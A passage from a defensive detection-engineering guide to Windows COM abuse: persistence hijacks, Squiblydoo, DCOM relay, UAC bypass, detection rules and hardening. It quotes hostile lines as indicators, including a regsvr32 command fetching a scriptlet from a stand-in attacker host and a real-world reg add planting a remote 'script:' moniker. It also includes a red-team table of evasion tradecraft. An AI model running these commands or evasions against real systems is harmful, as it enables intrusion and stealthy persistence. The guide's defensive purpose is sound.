Team T1548.002 tests (fodhelper, eventvwr, sdclt, WSReset, SilentCleanup, CMSTPLUA, .NET profiler) and UACME `Akagi` itself for range work ([45], [49]). --- ## 6. Detecting COM Persistence Chapter 05's family (T1546.015) is a registry-diff problem: the hijack persists as a per-user shadow of a machine registration, and every variant touches one of five seams — `InprocServer32`, `LocalServer32`, `TreatAs`, `ProgID`, or `TypeLib` ([34], [35]). ### 6.1 Registry telemetry targets (Sysmon 12/13/14) | Path pattern | Variant | |---|---| | `HKU\_Classes\CLSID\*` and `HKU\\Software\Classes\CLSID\*` — `InprocServer32`, `LocalServer32`, `TreatAs`, `ScriptletURL`, `ProgID` | Classic CLSID shadow ([16]) | | `HKU\_Classes\TypeLib\*\0\win32` / `win64` | TypeLib hijack ([31]) | | `HKU\\Software\Classes\mscfile\shell\open\command`, `*\Folder\shell\open\command` (+ `DelegateExecute`) | Association crossover with the UAC family ([30]) | | 32-bit reflection: `HKCU\Software\Classes\Wow6432Node\CLSID\...` | Office/Outlook hijacks on 64-bit Windows | High-signal heuristics from the brief ([16], [20], [35]): - `InprocServer32` `(Default)` pointing outside `%SystemRoot%\System32` / `Program Files` → user-writable paths. - HKCU CLSID shadowing an HKLM CLSID with a *different* server path (requires a baseline diff — the Elastic prebuilt rule `persistence_suspicious_com_hijack_registry.toml` implements exactly this) ([19]). - Registered server path whose file **does not exist** (phantom/orphan) — see 6.3. - `TreatAs` written by a non-`svchost`/non-Office process; **any** `ScriptletURL` key creation (rare legitimately — "detection gold") ([17], [18], [35]). - `TypeLib` values containing `script:`, `http:`, or `https:` — per the brief, "almost certainly malicious"; pair with `scrobj.dll` image loads in non-script hosts and `reg.exe` command lines containing `TypeLib` + `script` ([31]). - Process/cmdline indicators: `rundll32.exe -sta {CLSID}` (note the evasion: `-stagggg` suffixes still work), `verclsid.exe /S /C {CLSID}`, `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding ` **whose parent is not `svchost.exe`** (properly instantiated COM servers spawn from `svchost -k DcomLaunch`; any other parent for an `-Embedding` command line is suspicious), and `LocalServer32` values carrying `cmd.exe`/`powershell.exe` arguments (fileless persistence) ([35]). ### 6.2 Named rules and analytics - SigmaHQ registry rules: `registry_set_persistence_com_hijacking_builtin.yml` ([16]), `registry_set_persistence_com_key_linking.yml` (TreatAs subkey; cites bohops Part 2) ([17]), `registry_set_treatas_persistence.yml` ([18]), plus `registry_set_persistence_com_hijacking_susp_locations.yml` and `registry_set_persistence_search_order.yml`; detection.fyi additionally indexes *Modification Of Default System CLSID Default Value*, *PSFactoryBuffer COM Hijacking*, and *Scrobj.dll COM Hijacking* ([15]). - Elastic prebuilt `persistence_suspicious_com_hijack_registry.toml` (HKCU-vs-HKLM shadow diff) ([19]); Elastic's hunting guide *How to hunt: Detecting persistence and evasion with COM* is the vendor walkthrough ([20]). - Splunk *Eventvwr UAC Bypass* covers the `mscfile` crossover ([30]). - VirusTotal LiveHunt ships YARA keyed on the Sigma behavior rule for CLSID hijacking (2024) ([36]). - Atomic Red Team T1546.015 tests #1–#4 for validation ([45]). MDE KQL for the write seam ([15]): ```kusto // COM hijack registry writes DeviceRegistryEvents | where RegistryKey has @"Software\Classes\CLSID\" | where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\" | where ActionType has "SetValue" or ActionType has "Create" ``` ### 6.3 Phantom-object hunting and the Autoruns blind spot Phantom objects invert the diff problem: the attacker registers a CLSID a legitimate process *already tries to activate* (a dangling reference), so **no legitimate value is overwritten and nothing breaks** — there is nothing to diff against ([33]). The hunt therefore keys on the *discovery* artifact and the creation event: - ProcMon filter for discovery and hunting alike: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` — every hit is a CLSID a live process wants; a subsequent **key-creation event at the same path** (Sysmon 12) is the hijack ([35]). - Orphan sweep (bohops): enumerate `Win32_COMSetting` `InprocServer32`/`LocalServer32` paths and test file existence — "File Not Found" entries with attacker-writable directories are plantable without any registry write ([13], [35]). - **Autoruns gap (repeat, because it drives tooling choice):** Autoruns does not comprehensively enumerate HKCU CLSID shadows; the brief's recommended compensating procedure is a periodic `reg export` of `HKCU\Software\Classes\CLSID`, `...\TypeLib`, and `UsrClass.dat` **diffed against a gold image**, cross-checked with Sysmon 7 module loads of `explorer`/`svchost`/`taskhostw` for DLLs outside `System32` ([35]). ### 6.4 TypeLib-hijack indicators (ReliaQuest / Black Basta affiliate case) The 2025 in-the-wild chain is the reference IOC set for this variant ([31], [57]): ```text reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f ``` - LIBID `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` = SHDocVw (Microsoft Web Browser control) — chosen because **Explorer.exe references it at every start**, so the remote scriptlet re-downloads on every restart. - Detection: `TypeLib\...\0\win32|win64` values containing `script:`/`http(s):`; `scrobj.dll` loading into non-scripting processes (Sysmon 7); outbound fetch of the `.sct` (Sysmon 3/22); the `reg.exe` command line itself (Sysmon 1). MITRE updated T1546.015 in 2025 to add this TypeLib/`script:`-moniker variation, citing ReliaQuest ([31], [48]). --- ## 7. Detecting Execution & Relay Abuse Chapter 06's family spans scriptlet execution, managed-code loaders, and DCOM-triggered NTLM relay. The detection surface splits cleanly into content scanning (AMSI), lineage/network, and registry seams. ### 7.1 Squiblydoo (regsvr32 + COM scriptlets, T1218.010) The chain `regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll` is all-signed (regsvr32 → `scrobj.dll` → `jscript`/`vbscript.dll`) and needs no registry writes and no admin — so detection leans on command line, image load, and egress ([14], [41]): - **Sysmon 1:** `regsvr32` with `/i:` + `scrobj.dll` + a URL — the Sigma rule `proc_creation_win_regsvr32_squiblydoo.yml` and MITRE's analytic **CAR-2019-04-003** encode this ([14], [15]). - **Sysmon 3/22:** `regsvr32` making outbound HTTP/S connections and DNS lookups — near-zero false positives; regsvr32 is proxy-aware (WinHTTP), so egress flows through the corporate proxy where it is loggable. - **Sysmon 7/11:** `scrobj.dll` image load inside `regsvr32`; `.sct` file drops for the local-path variant. - In-the-wild prevalence to prioritize tuning against: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit `web_delivery` ([41]). ```kusto // Squiblydoo DeviceProcessEvents | where FileName =~ "regsvr32.exe" | where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp") ``` ### 7.2 DotNetToJScript and the AMSI coverage boundary DotNetToJScript (Forshaw, 2017) runs a serialized .NET delegate graph inside WSH via COM-visible `mscorlib` classes — no managed assembly on disk; it is the engine of SharpShooter, CACTUSTORCH, GreatSCT, and the Outlook-CreateObject DCOM delivery ([42]). The AMSI boundary is the whole detection story ([43], [44]): | Stage | AMSI visibility | Residual telemetry | |---|---|---| | Scriptlet/script content | Scanned — `AmsiScanBuffer` in jscript/vbscript; second scan per `CreateObject`'d block | Sysmon 1/3/7/11/22; Sigma Squiblydoo ([14]) | | .NET payload via COM | Conditional — CLR 4.8+ scans in-memory `Assembly.Load(byte[])`; **CLR v2 (the DotNetToJScript default) has no hook** | `Microsoft-Windows-DotNETRuntime` ETW `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` assembly-load/JIT events in `wscript`/`dllhost`; Sysmon 7 `clr.dll`/`clrjit.dll`/`mscoree.dll` in script hosts | | PowerShell DCOM one-liners | Fully scanned — script-block logging event **4104** | Splunk *Remote Process Instantiation via DCOM and PowerShell (Script Block)* ([21], [22]) | | Type-confusion / trapped-COM native stages | **None** — registry + RPC + reflection only | Registry (Sysmon 12/13), RPC ETW, Threat-Intelligence ETW `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Microsoft shipped AMSI signatures for *default* DotNetToJScript/SharpShooter output in June 2018 — a template-signature control, evaded by changing the template; Forshaw's "copy `wscript.exe` as `amsi.dll`" trick neuters WSH scanning outright (LoadLibrary returns the already-loaded EXE image, `AmsiInitialize` fails). Neither evasion touches the ETW/registry residual columns above ([43]). One compensating hardening fact: since Windows 10 1803, `CI.DLL` (`CipMitigatePPLBypassThroughInterpreters`) blocks `scrobj.dll`, `scrrun.dll`, `jscript.dll`, `jscript9.dll`, and `vbscript.dll` from loading into **protected processes** — scriptlet-style PPL injection attempts fail loudly and are themselves high-fidelity signal ([37]). ### 7.3 Relay and coercion indicators - **RemotePotato0** (RPC→HTTP cross-protocol relay, "Won't Fix"): attacker marshals `IStorage` (`CoGetInstanceFromIStorage`) for a CLSID running as Interactive User — default PoC `{5167B42F-C111-47A1-ACC4-8EABE61B0B54}`, BrowserBroker `{0002DF02-0000-0000-C000-000000000046}` — and the victim resolves OXID against the attacker resolver (135 redirect), then authenticated calls relay RPC/TCP → HTTP wrapper → `ntlmrelayx` → LDAP/AD CS (ESC8)/SMB. Detection: unexpected Interactive-User-class activations, 135 redirects, and the KB5004442 events — the hardening's `PKT_INTEGRITY` floor is what killed the OXID-MITM→relay path, so **10036/10037/10038 are the relay-attempt telemetry** ([8], [40]). - **RemoteMonologue** (IBM X-Force, 2025): with local admin, the attacker sets `RunAs = "Interactive User"` on a chosen AppID (`HKLM\SOFTWARE\Classes\AppID\{AppID}` — Sysmon 13), remotely instantiates, and invokes a method/property that dereferences an attacker UNC to coerce the logged-on user's NTLM. Object watchlist: ServerDataCollectorSet `{03837546-098B-11D8-9414-505054503030}` (`DataManager.Extract` UNC parameter), FileSystemImage `{2C941FC5-975B-59BE-A960-9A2A262853A5}` (`WorkingDirectory` property), UpdateSession `{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}` (`AddScanPackageService`). Extras to alert on: `LmCompatibilityLevel ≤ 2` (NetNTLMv1 downgrade — Sysmon 13 on `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`) and WebClient abuse (`\\host@80\file` — WebDAV egress) ([39]). - **OXID resolver recon:** unauthenticated `ServerAlive2` against `IObjectExporter` `{99FCFEC4-5260-101B-BBCB-00AA0021347A}` (port 135) leaks network interfaces (impacket `oxidresolver`) — flag 135 flows to `IObjectExporter` from non-management hosts in RPC ETW / RPC Firewall ([5], [6]). - **Rule content:** Sigma *Remote DCOM/WMI Lateral Movement* (`68050b10-e477-4377-a99b-3721b422d6ef`) over RPC Firewall logs; native RPC filter event 5712 is unreliable ([6], [7]). ```kusto // RunAs tampering (RemoteMonologue) DeviceRegistryEvents | where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs" ``` > **Key idea:** "You relay FROM DCOM, not TO DCOM" — post-KB5004442, DCOM activation is a poor relay *target* (PKT_INTEGRITY floor), but DCOM remains a premium relay *trigger*. Detection should therefore watch for the trigger (unusual activations, AppID tampering, OXID queries) rather than expecting the relay itself to touch DCOM ([8], [40]). --- ## 8. The Layered Coverage Matrix ![Figure 1 — Telemetry coverage map: attack families × telemetry sources, with marked cells where a usable signal exists](diagrams/d26-telemetry-map.png) *How to read this figure: rows are the five COM attack families from chapters 02–06; columns are the telemetry sources from section 2. A marked cell means at least one usable, brief-attested signal exists at that intersection — read across a row to see why no single source catches a family, and down a column to see each source's blind spots.* The same matrix in text form — cells name the concrete signal (only where a brief attests it): | Family ↓ / Source → | Sysmon 1 (process) | Sysmon 3 (network) | Sysmon 7 (image load) | Sysmon 12–14 (registry) | Security (4624/4648/4672, 4688, 4657/4663) | ETW (RPC / COM / .NET / TI) | Network (135, DCE/RPC, egress) | |---|---|---|---|---|---|---|---| | **DCOM lateral movement** | `svchost -k DcomLaunch` → `mmc -Embedding` / `EXCEL /automation -Embedding` / `dllhost /Processid:`; 2nd-gen `mmc`/`explorer`/`EXCEL` → `cmd` (Sigma `f1f3bf22-…`) | Inbound 135 + dynamic high port; `mmc`/`excel` egress | `.xll`, `wshom.ocx`, `iertutil` off-path | `LaunchPermission` tamper (EID 13) | 4624 T3 (+4768/4769), 4648, 4672; Audit DCOM Activity | RPC EID 5/6 `RemoteCreateInstance`; RPC FW EID 3 (src IP) | Wkstn↔wkstn 135; `ShellExecute`/`ExecuteShellCommand` cleartext at PKT_INTEGRITY; impacket `\\__epoch` regex | | **Privilege escalation** | Service account → unusual child after DCOM activation | Loopback/listeners: 9999, 10247, 10271, 5985; outbound 135 redirect | CLR inside `WaaSMedicSvc` svchost; `SprintCSP.dll`/`printconfig.dll` loads | StdFont `TreatAs`; `AllowDCOMReflection`/`OnlyUseLatestCLR` | 4624 Type 9 (`NewCredentials`, JuicyPotatoNG); 4672 on token use | `IObjectExporter`/`ResolveOxid2` abuse; DotNETRuntime JIT in services; TI-ETW on PPL behavior | 135 redirect to attacker resolver; SMB loopback context swap | | **UAC bypass** | High-IL child of auto-elevate binary; no `consent.exe` | — (local attack) | Hijack-DLL names outside System32 by elevated MS binaries | `ms-settings`/`mscfile`/`Folder`/`AppX82a6…` verbs; `HKCU\Environment`; `IFEO VerifierDlls` | 4688 + IL fields; 4657/4663 SACLs on association keys | Kernel-Process ETW; UacScan ETW 1201 (AMSI-for-UAC) | — (local attack; watch post-elevation egress) | | **Persistence** | `rundll32 -sta`, `verclsid /S /C`, `xwizard RunWizard`, `mmc -Embedding` w/ non-svchost parent | `script:` URL fetch at each trigger | `scrobj.dll` in non-script hosts; hijack DLLs outside System32 in `explorer`/`taskhostw` | HKCU `CLSID`/`TypeLib` shadows; `TreatAs`; `ScriptletURL`; NAME NOT FOUND → create | 4657/4663 with SACLs on `Classes\CLSID`/`TypeLib` | COMRuntime ETW activation tracing; registry ETW | Remote `.sct` re-download every Explorer start | | **Execution & relay** | `regsvr32 /i:` + URL + `scrobj.dll`; PowerShell `GetTypeFromCLSID` one-liners | `regsvr32` HTTP/S egress (near-zero FP); WebDAV `\\host@80` | `scrobj.dll`, `jscript/vbscript` in unusual hosts; CLR in `wscript`/`dllhost` | AppID `RunAs` → `Interactive User`; `LmCompatibilityLevel` ≤ 2; `Ole\AppCompat` tamper | 4104 script blocks; AppLocker 8004; 4625 relay failures | DotNETRuntime `{E13C0D23-…}`; TI `{F4E1897C-…}`; RPC FW Sigma `68050b10-…` | 135 redirects; OXID `ServerAlive2` recon; relay to LDAP/AD CS/SMB | > **Key idea:** No single source suffices. Sysmon 1 misses fileless-in-existing-process work (ShellWindows, trapped COM); registry telemetry misses pure-network chains; network telemetry is blind to local-only attacks (UAC, local persistence); AMSI misses CLR-v2 and native stages. Coverage is the *union* of the marked cells — and every evasion in section 9 is an attempt to shrink a row to empty cells, which is why the seams must be monitored together. --- ## 9. Evasion Notes for Red Teamers Every signal in sections 3–7 can be reduced; none can be reduced to zero. This section maps each detection to the brief-attested tradecraft that shrinks it, and the counter-detection that still fires — use it to plan noise budgets and to write realistic purple-team test cases. > **OpSec:** The governing tradeoff is *stealth vs. prerequisites*. The quietest object usually demands more from the target (an interactive session, Office installed, a reachable attacker host), and the most reliable object is usually the best-instrumented. Choose per engagement constraints, and assume the counter-detection column is deployed. | Signal to reduce | Attested tradecraft | What still catches you (counter-detection) | |---|---|---| | MMC20 lineage (Sigma `f1f3bf22-…`) | Use ShellWindows/ShellBrowserWindow instead — payload becomes a child of the already-running `explorer.exe`, no new COM host (impacket `dcomexec` defaults to ShellWindows). Tradeoff: requires an interactive session on target; ShellBrowserWindow absent on Win7 ([12], [61]) | Second-generation `explorer.exe` → `cmd`/`powershell` is itself anomalous; the DcomLaunch KQL anchor and workstation↔workstation 135 remain ([2]) | | Excel `/automation -Embedding` artifact | Avoid Excel on servers — Office running non-interactively there is ~zero-FP for defenders; prefer MMC20/ShellWindows where Office telemetry is strong ([62]) | `/automation -Embedding` correlation is exactly the FalconFriday 0xFF05 analytic; `.xll`/XLM loads (Sysmon 7) persist ([2]) | | impacket output-write artifact | `-nooutput` (blind) or out-of-band exfil instead of the default `\\127.0.0.1\ADMIN$\__.` write-back ([12]) | misthi0s regex `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1`; ADMIN$ write auditing (Sysmon 11) ([3]) | | Logon events | Kerberos (target by hostname) produces 4768/4769 on DCs; NTLM (target by IP) produces 4624 Type 3 NTLM and enables PtH (`dcomexec -hashes`); Protected Users blocks NTLM — pick per environment; `127.0.0.1` loopback works for local validation ([12]) | 4624 Type 3 + 135-flow + lineage correlation regardless of protocol ([11]) | | KB5004442 hardening events | Keep tooling at ≥ `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` (current impacket complies) — legacy clients and relay tools trip 10036/10037/10038, which *log the client IP* ([8], [12]) | Hardening does not stop credentialed admin DCOM — but attempting relay paths does, loudly ([9]) | | InprocServer32-write rules | `TreatAs` redirection — the legitimate CLSID's server key is never modified (Turla Outlook chain); phantom/undefined CLSIDs — no value overwritten, nothing to diff (CrowdStrike ClickOnce variant); reg-free COM manifests keep persistence off the CLSID hive ([33], [35]) | Sigma `registry_set_persistence_com_key_linking` / `registry_set_treatas_persistence`; NAME NOT FOUND → key-create correlation; gold-image hive diffs ([17], [18]) | | ScriptletURL rarity | Do not use `ScriptletURL` — it is rare legitimately and singled out as "detection gold" ([35]) | Any `ScriptletURL` creation alert; `scrobj.dll` in non-script hosts | | Payload-host crashes (WerFault = detection) | Pass-through hijack DLL (forward `DllGetClassObject` to the original server), match `ThreadingModel` to the HKLM original, mutex/event gate against re-instantiation, hold `DllCanUnloadNow` until payload finishes; know that visible breakage betrays you — the `Scripting.Dictionary` squiblydoo demo broke `slmgr.vbs`/WinRM ([35]) | The forwarded DLL still loads from outside `System32` (Sysmon 7); ThreadingModel mismatches surface as `RPC_E_CANTTRANSMIT`/UI deadlocks users report ([20]) | | AMSI content scanning | DotNetToJScript defaults to CLR v2 (no AMSI hook); mutate the template (June 2018 signatures cover only defaults); Forshaw's rename-`wscript.exe`-as-`amsi.dll` WSH bypass ([42], [43]) | DotNETRuntime ETW assembly/JIT events in `wscript`/`dllhost`; Sysmon 7 `clr*.dll` in script hosts; CI.DLL blocks script engines in protected processes outright | | Sysmon 8 (CreateRemoteThread) | COM injection paths — type confusion, `IRundown::DoCallback`, trapped-COM `Assembly.Load` — never create threads ([37]) | Threat-Intelligence ETW (PPL consumers); registry seams of the arming step; `clr*.dll` loads into protected services | | Potato disk artifacts | In-memory variants: SweetPotato/GodPotato-NET4/SigmaPotato (`[SigmaPotato]::Main()` via .NET reflection) ([54]) | DCOM activation of BITS/PrintNotify CLSIDs by service accounts; named pipes (`\\.\pipe\roguepotato\pipe\epmapper`); 4624 Type 9; outbound 135 ([52]) | | UAC elevation events | PEB masquerading before `CoGetObject` (AppInfo scrutinizes the caller — modern loaders pose as `explorer.exe`/`conhost.exe`); obfuscate the `Elevation:Administrator!new:` string (reversed/XORed); prefer AlwaysNotify-compatible classes (SilentCleanup env, SSPI datagram) when "Always notify" is set ([49]) | High-IL-child/auto-elevate-parent correlation is policy-independent; Sysmon 10 handle duplication into bypass binaries ([28], [29]) | | File disk footprint entirely | Fileless chains: DotNetToJScript shellcode, ForsHops (registry values only), `LocalServer32` with `cmd.exe` arguments ([38], [42]) | The registry seams and ETW residuals are the whole detection surface — see section 8 rows 2 and 5 | --- ## 10. Mitigations & Hardening Master List Consolidated from all six research briefs, grouped by control plane. Where a brief attaches a caveat, it is carried with the control. ### 10.1 DCOM protocol hardening (KB5004442 / CVE-2021-26414) - Enforce `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel = 1` (server floor `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` for non-anonymous activation) and `RaiseActivationAuthenticationLevel = 2` (client auto-raise). Timeline: Jun 2021 opt-in → Jun 2022 default-on → Nov 2022 client raise → **Mar 2023 mandatory** ([8], [10]). - Alert on tamper: Sysmon 13 on `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*` (value flipped to 0 = pre-attack weakening); trend 10036/10037/10038 as both health and detection telemetry ([9]). - **Caveat:** the hardening broke legacy OPC Classic deployments (OPC is entirely DCOM) — industrial/OT estates need per-application testing before enforcement ([10]). ### 10.2 Scoping or disabling DCOM - `HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM = "N"` disables remote activation — **breaks remote WMI**; test at scale before fleet rollout ([12]). `EnableRemoteConnect = "N"` separately gates remote *access* (non-activation) calls. - Network scoping first: block workstation↔workstation TCP 135 + dynamic range; restrict DCOM to management hosts/PAWs; disable inbound firewall groups *COM+ Network Access (DCOM-In)* and *Microsoft Management Console* ([12]). ### 10.3 DCOM ACL hardening (launch/access ceilings) - Machine ceilings: `MachineLaunchRestriction` / `MachineAccessRestriction` (dcomcnfg → COM Security → Edit Limits) — remove Remote Launch/Activation from the Administrators defaults where DCOM is not operationally required ([12]). - Per-object procedure (from the brief, verbatim steps): take ownership of `HKCR\AppID\{AppID}` (TrustedInstaller-owned) → set an explicit `LaunchPermission` SD denying remote launch → restore ownership → remove your own FullControl. Inventory legitimate DCOM first (SCCM, backup, OPC, AV management) and **deny the rest, MMC20 and Office CLSIDs first**; monitor Sysmon 13 for `LaunchPermission` tampering ([12]). ### 10.4 Office and application control - Office COM Compatibility kill list: `HKLM\SOFTWARE\Microsoft\Office\\Common\COM Compatibility\{CLSID}` — Microsoft's per-application kill bits covering the `htafile`, scriptlet, Composite, File, New, and SOAP moniker classes; deploy for the abusable set ([37]). - AppLocker/WDAC: block `scrobj.dll` script execution (Squiblydoo), block Office child processes, block `mshta`/`ScriptControl`, apply ASR rules, and **do not run Office on servers** ([12], [14]). Audit-mode events (AppLocker 8004) double as detection content ([15]). - UAC-family app control: block child processes of auto-elevate binaries and DLL loads from user-writable paths; enable the `PreferSystem32Images` mitigation ([49], [60]). ### 10.5 Relay, coercion, and spooler/EFSRPC hardening - SMB signing, LDAP signing + channel binding, AD CS Extended Protection for Authentication (EPA) — close the relay *destinations* ([40]). - Disable WebClient (kills `\\host@80\file` WebDAV coercion); set `LmCompatibilityLevel = 5` (NTLMv1 off); enable LSA Protection ([39]). - Spooler/EFSRPC: apply the CVE-2021-36942 EFSR hardening and disable the Print Spooler where not needed — **caveat from the brief:** PrintNotify-based potatoes (PrintNotifyPotato, JuicyPotatoNG) work with the legacy spooler disabled, so spooler removal alone does not close the potato class; the durable control is patching (CVE-2023-21746) plus the service-account-activation detection of section 4.1 ([53], [54], [64]). - RPC Firewall on servers/DCs for per-call RPC mediation and logging ([6], [7]). ### 10.6 UAC policy set - **The #1 control (per UACME itself): standard-user accounts** — no admin token, nothing to bypass (M1026) ([49]). - Slider to *Always notify* (`ConsentPromptBehaviorAdmin = 2`, `PromptOnSecureDesktop = 1`) — kills most auto-elevate bypasses **but not all**: SilentCleanup env, token manipulation, DiskCleanup race, SSPI datagram, PCA, RequestTrace, and QuickAssist methods are documented AlwaysNotify-compatible; defense-in-depth still required ([49]). - Harden the rest of the policy surface: `ConsentPromptBehaviorUser = 0` (auto-deny), keep `EnableLUA = 1`, set `FilterAdministratorToken = 1` for the built-in Administrator, keep `PromptOnSecureDesktop = 1`; monitor `LocalAccountTokenFilterPolicy` and `EnableLUA` for tamper (needs prior admin → post-exploitation signal) ([49], [60]). ### 10.7 Identity controls - LAPS for local-admin hygiene; tiered administration with PAWs; Credential Guard; **Protected Users** (blocks NTLM — kills PtH-style NTLM DCOM; Kerberos DCOM remains possible); disable NTLM where feasible ([12]). ### 10.8 Patch currency (each item kills a technique class) - Win10 1809/Server 2019: silent rpcss OXID-binding fix — kills Rotten/JuicyPotato ([52]). Win10 19H1: DiagHub `ProcessImageLoadPolicy` ([67]). Jan 2023: CVE-2023-21746 — kills LocalPotato SMB context swap ([64]). oleaut32 `VerifyTrust` signing-level check — blocks TLB substitution in protected processes ([37]). July 2022: KnownDlls no longer initialized in PPL (PPLdump class) ([37]). Win10 1803: `CI.DLL` interpreter blocklist in protected processes ([37]). Win11 24H2/25H2: mock trusted directories, consent DotLocal, `wow64log`, `dccw`, EventViewer .NET deserialization, WSReset, EditionUpgradeManager, taskhostw PCA fixes ([49], [50]). ### 10.9 Neutralizing abusable CLSIDs (with stability caveats) - **Prefer ACL denial (10.3) over deletion.** If you delete or shadow an abusable CLSID, the briefs' hijack-stability lessons apply in reverse: dependent clients must still resolve something sane — match `ThreadingModel`, handle 32/64-bit hive placement (`Wow6432Node` for Office paths), and soak-test for WerFault, UI hangs, and proxy-marshal stalls ([35]). - Known-breakage precedent from the brief: hijacking `Scripting.Dictionary` breaks `slmgr.vbs` and WinRM — expect the same class of collateral when *removing* live shell classes ([35]). - The safe neutralization set is **abandoned-binary classes** (the mobsync pattern: registered CLSID, missing binary) — deleting the registration removes a plantable path with no functional loss ([13]). - For Office-facing moniker classes, use the COM Compatibility kill list (10.4) rather than hive surgery ([37]). ### 10.10 Sensor and baseline deployment - Deploy Sysmon with `sysmon-modular` or SwiftOnSecurity's `sysmon-config` as the baseline; collect RPC ETW EID 5/6 on critical hosts; enable the **Audit DCOM Activity** subcategory on servers; place SACLs on `Software\Classes\AppID`, `CLSID`, and `TypeLib` for 4657/4663; maintain gold-image `reg export` snapshots of `HKCU\Software\Classes` and `UsrClass.dat` for diffing ([11], [46], [47]). --- ## Research Lab: Detection-Engineering Your Own COM Research New COM findings ship as blog posts and PoCs, not as detections. The lab skill is converting a fresh technique into tested rules before your adversary uses it. The methodology below is the one the briefs themselves demonstrate (FireEye's COM hunting series, Elastic's COM hunt guide, FalconFriday's analytic write-ups all follow this shape) ([2], [20], [32]). For a current conference-level overview of the legacy-but-live DCOM attack surface your detections must cover, see the hack.lu 2025 deck ([59]). ### 1. Hunting hypothesis The hypothesis that pays: *every COM technique, however fileless, must cross at least one seam that is rare in normal operations* — a registry value almost never written legitimately (`ScriptletURL`, `AllowDCOMReflection`, a `TreatAs` by a non-Office process), a lineage anchor (`svchost -k DcomLaunch` spawning a server), or a wire shape (135 + dynamic ports from a workstation). Your job is to find the seam the author did not mention, because authors document the exploit, not the telemetry. ### 2. Sensor baseline (instrument before you detonate) Lab setup per the internals brief: two domain-joined VMs for DCOM work, a standard-user VM for HKCU-hijack work, snapshots before `regsvr32`/manifest experiments, and **COM ETW tracing enabled** — the `Microsoft-Windows-COMRuntime` provider plus the OLE32/COM providers for activation tracing; ProcMon with `Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32` and `Result = NAME NOT FOUND` for phantom hunting; Wireshark `dcom`/`dcerpc` dissectors (grep `MEOW`); RpcView for interface/IPID maps; Event Viewer on the DistributedCOM 10015/10016/10036–10038 channel; WinDbg `bp combase!CoCreateInstance` for activation breakpoints; OleViewDotNet for enumerating the classes involved ([55]). ```text *(illustrative — adapt flags/levels to your build and provider manifest)* logman create trace com-activation -ets -o C:\traces\com-activation.etl logman update trace com-activation -ets -p "{BF406804-6AFA-46E7-8A48-6C357E1D6D61}" 0xFFFFFFFFFFFFFFFF 0xFF rem ^ Microsoft-Windows-COMRuntime — activation tracing logman update trace com-activation -ets -p "{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}" 0xFFFFFFFFFFFFFFFF 0xFF rem ^ Microsoft-Windows-RPC — InterfaceUuid/OpNum/Endpoint per call logman update trace com-activation -ets -p "{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}" 0xFFFFFFFFFFFFFFFF 0xFF rem ^ Microsoft-Windows-DotNETRuntime — Assembly.Load/JIT inside COM hosts logman stop com-activation -ets ``` ### 3. Capture normal, then detonate, then diff 1. **Baseline normal activation telemetry**: on the clean snapshot, exercise ordinary COM — browse classes with OleViewDotNet, open Office/`mmc`/`eventvwr`, log off/on, reboot. Export the hives (`reg export HKCU\Software\Classes base-hkcu.reg`, same for `HKLM\SOFTWARE\Classes` and a copy of `UsrClass.dat`), take a pcap, and collect the Sysmon/ETW window. This is your "normal" corpus — every detection you write must survive replay against it. 2. **Run the attack**: reproduce the finding's PoC, or the closest Atomic Red Team test (T1021.003, T1546.015 #1–#4, T1548.002) as a stand-in for the class ([45]). 3. **Diff everything**: Sysmon events in the detonation window minus the baseline set; hive diff (`FC /B` or a registry-diff tool on the exports); pcap diff (new 135 flows, `MEOW` blobs, `GetIDsOfNames` strings); ETW trace for the activation's interface UUIDs. Every delta is candidate detection content — the FireEye COM-hunting methodology is exactly this loop run at fleet scale ([32]). ### 4. Codify: Sigma skeleton for a COM technique ```yaml # ILLUSTRATIVE skeleton — not a shipped rule. Fill from your diff; validate against baseline. title: COM id: status: experimental logsource: product: windows category: registry_set # swap for process_creation / image_load / network_connection detection: selection: TargetObject|contains: 'Software\Classes\CLSID\{}' Details|contains: '' filter_baseline: Image|endswith: - '\msiexec.exe' # installers seen writing this key in YOUR baseline - '\TiWorker.exe' condition: selection and not filter_baseline level: high ``` For the lineage and network seams, swap `logsource` to `process_creation` (parent/child pairs from section 3.1) or use the RPC Firewall event channel with interface UUIDs from section 2.4; the Splunk/Sigma entries cited in sections 3–7 are worked examples of each form ([1], [14], [15]). Automating the enumeration-to-telemetry pipeline (registry → JSON of interfaces → scripted `Invoke` while capturing) is described in the incendium.rocks methodology ([58]). ### 5. Triage: is this artifact a durable rule? A diff artifact is worth codifying when it passes four checks (derived from the durability lessons in sections 3–9): - **Rare in baseline** — `ScriptletURL`, `AllowDCOMReflection`, AppID `RunAs` changes are near-zero in healthy estates; `InprocServer32` writes are not (installers churn them). - **Necessary for the technique** — the attacker cannot remove it without switching technique classes (the StdFont `TreatAs` is necessary for the trapped-COM CLR path; the *specific CLSID* is not — Outflank found alternates ([56])). - **Survives template mutation** — method names on the wire and lineage anchors survive; default-tool strings (DotNetToJScript's June-2018 signature set) do not ([43]). - **Version-tolerant** — opnum filters and exact ports rot across builds 